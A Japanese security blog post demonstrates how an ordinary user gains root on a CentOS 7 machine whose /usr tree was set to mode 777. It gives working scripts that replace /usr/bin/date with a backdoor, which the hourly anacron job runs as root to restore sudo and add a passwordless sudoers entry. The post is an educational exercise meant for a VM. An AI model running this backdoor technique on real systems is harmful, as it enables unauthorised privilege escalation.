chmod -R 777 /usr を実行したCentOS7で、一般ユーザがroot権限を得られることを確認する

Teratailで、suコマンドでrootログインできないという質問があり、てっきり/etc/pam.d/suまわりの設定かと思いきや、そうではなく、自己解決で説明された原因に一同驚愕ということがありました。

> /usr/share/nginx/html
に権限を追加したくて、横着して
chmod 777 -R /usr
とコマンド実行した記憶があります。
> [CentOS7、suコマンドでrootにログインできない、パスワードは絶対あっているのになぜ？](https://teratail.com/questions/331043)

/usr 以下のパーミッションをすべて777に設定したら、逆に動くべきものが動かなくなる例なのですが、これをやるとセキュリティ上問題であることは言うまでもありません。究極的には、一般ユーザがroot権限とれるかという疑問が出てきますよね。

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">以前、「chmod 777 -R /usr」が話題になりましたが、これをやると一般権限のユーザーからrootが簡単にとれますよね。セキュリティを勉強中の方は練習問題としてやってみるとよいと思います（机上あるいはVM等で）。かなり簡単ですけど、どうかな?</p>&mdash; 徳丸 浩 (@ockeghem) <a href="https://twitter.com/ockeghem/status/1379248863165345796?ref_src=twsrc%5Etfw">April 6, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

「かなり簡単」と書いてしまいましたが、どうでしょうか。
Twitterでは以下のようなアイデアもいただきましたが…

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">これでSUIDビット立ってるコマンドがpermissionで弾かれずに実行出来るようになるから、そこからコマンド実行する的なものだろうか…？ <a href="https://t.co/87972J7taI">https://t.co/87972J7taI</a><br>でももっとエレガントな方法があるかもしれない <a href="https://t.co/lsmiOrFGIg">https://t.co/lsmiOrFGIg</a></p>&mdash; ギ (@Gymp1e) <a href="https://twitter.com/Gymp1e/status/1379267554787565569?ref_src=twsrc%5Etfw">April 6, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

chmod -R 777 した時点でSUIDビットがクリアされてしまうので、これはできないのですよね。

私が思いついた方法は、/usr/bin あるいは /usr/sbin 以下のコマンドを改ざんできるので、rootで実行されることが確実なコマンドにバックドアを仕掛けておくというものです。ここまでは、まぁ「かなり簡単」な範疇かと思いますが、現実に試すとなると、Linux力が問われそうです。
Teratailの元々の質問では、OSとしてCentOS7が使われていたので、以下、CentOSで /usr以下がパーミッション777になっている状況でrootを取るというのをやってみました。

まずは現状調査で、/usr以下のパーミッションを表示しますが、確かに777になっています。実行ユーザはaliceとしています。

```sh
$ whoami
alice
$ pwd
/usr
$ ls -l
total 144
drwxrwxrwx.  2 root root 24576 Apr  7 15:10 bin
drwxrwxrwx.  2 root root     6 Apr 11  2018 etc
drwxrwxrwx.  2 root root     6 Apr 11  2018 games
drwxrwxrwx. 45 root root  8192 Jan 15 15:01 include
drwxrwxrwx. 29 root root  4096 Jan 15 15:02 lib
drwxrwxrwx. 52 root root 32768 Jan 15 15:04 lib64
drwxrwxrwx. 23 root root  4096 Jan 15 15:02 libexec
drwxrwxrwx. 12 root root  4096 Apr 11  2018 local
drwxrwxrwx.  2 root root 16384 Jan 15 15:03 sbin
drwxrwxrwx. 99 root root  4096 Jan 15 15:03 share
drwxrwxrwx.  4 root root    32 Apr 11  2018 src
lrwxrwxrwx.  1 root root    10 Aug 14  2018 tmp -> ../var/tmp
$
```

CentOSでは、cronで1時間毎に起動されるスクリプトがあるので、これを利用してみましょう。設定は以下のようになっています。

```sh
$ cd /etc/cron.d
$ ls
0hourly
$ cat 0hourly
# Run the hourly jobs
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
01 * * * * root run-parts /etc/cron.hourly
$
```

毎時1分に /etc/cron.hourly 下のスクリプトをすべて実行する設定になっています。中身はどうでしょうか。

```sh
$ cd /etc/cron.hourly/
$ ls
0anacron
$ cat 0anacron
#!/bin/sh
# Check whether 0anacron was run today already
if test -r /var/spool/anacron/cron.daily; then
    day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
    exit 0;
fi

# Do not run jobs when on battery power
if test -x /usr/bin/on_ac_power; then
    /usr/bin/on_ac_power >/dev/null 2>&1
    if test $? -eq 1; then
    exit 0
    fi
fi
/usr/sbin/anacron -s
$
```

/etc/cron.hourly/0anacron が1時間おきに起動される設定になっています。0anacron で必ず実行されるコマンドはtestとdateですが、testは/bin/shの内部コマンドなので改ざんはできません（/bin/sh は/usr下にないので改ざんできない）。なので、dateコマンドの偽物を作りましょう。
本物のdateコマンドをdate.orgとリネームしておいて、偽dateコマンドとして下記を用意します。

```sh
#!/bin/sh
if [ $(id -u) = 0 ]; then                 # root権限の場合
 cd /usr/bin
 chmod 644 /usr/libexec/sudo/sudoers.so   # sudo を実行するための設定
 chmod 4111 sudo                          # sudo を実行するための設定
 echo "alice ALL=NOPASSWD: ALL" >> /etc/sudoers   # aliceがパスワードなしにsudoできる設定
 mv -f date.org date                      # 設定が終わったのでdateコマンドを戻しておく
 exec /usr/bin/date "$@"                  # 元のdateコマンドを実行
else
 exec /usr/bin/date.org "$@"              # root権限がない場合は単に元のdateコマンドを実行
fi
```

sudo関係のファイルをchmodしていますが、これをしないと下記のようなエラーになります。

```sh
$ sudo whoami
sudo: /usr/bin/sudo must be owned by uid 0 and have the setuid bit set
$
```

先の偽dateコマンドを/home/alice/date に設置した状態で、0anacron が実行される直前（でなくても大丈夫ですが）に下記のスクリプトを実行します。

```sh
#!/bin/sh
cd /usr/bin
mv date date.org   # 元のdateコマンドをリネーム
cp ~/date .        # /home/alice/dateを/usr/binに設置
```

実行後は下記となります。dateコマンドのオーナーがaliceというのが怪しいですね。なので、上記を実行するのは0anacron が実行される直前がよいでしょう（dateをリネームせず退避して上書きすればオーナーの問題は解消できますが、今回はやめときました）。

```sh
$ pwd
/usr/bin
$ ls -l date*
-rwxr-xr-x 1 alice alice   319 Apr  8 11:59 date
-rwxrwxrwx 1 root  root  62200 Nov 17 07:24 date.org
$
```

0anacronが動くと、aliceがsudoできる環境が整います。試してみましょう。

```sh
$ whoami
alice
$ sudo whoami  # sudo を試す（パスワードは要求されない）
root
$
```

ちゃんとrootになれていますね。
/usr 以下のdateコマンドについては下記の通り戻っています。

```
$ ls -l date*
-rwxrwxrwx 1 root root 62200 Nov 17 07:24 date
$
```

aliceがsudoコマンドを使ったログは/var/log/secureに残っています。

```
$ sudo tail /var/log/secure
...
Apr  8 12:01:42 centos7-777 sudo:   alice : TTY=pts/1 ; PWD=/home/alice ; USER=root ; COMMAND=/bin/whoami
Apr  8 12:01:42 centos7-777 sudo: pam_unix(sudo:session): session opened for user root by alice(uid=0)
Apr  8 12:01:42 centos7-777 sudo: pam_unix(sudo:session): session closed for user root
...
```

このようなログが残ることは、sudoによって管理者権限のコマンドを実行することが好ましい理由の一つです。一方、本格的な攻撃者は、上記のような痕跡を隠す行動をとりますが、今回はそこまではこだわらないことにします。

ということで、/usr以下のパーミッションが777になると一般ユーザがroot権限を取れることを確認しました。もっと良い方法や、別のアプローチをご存知のかたはぜひ教えて下さい。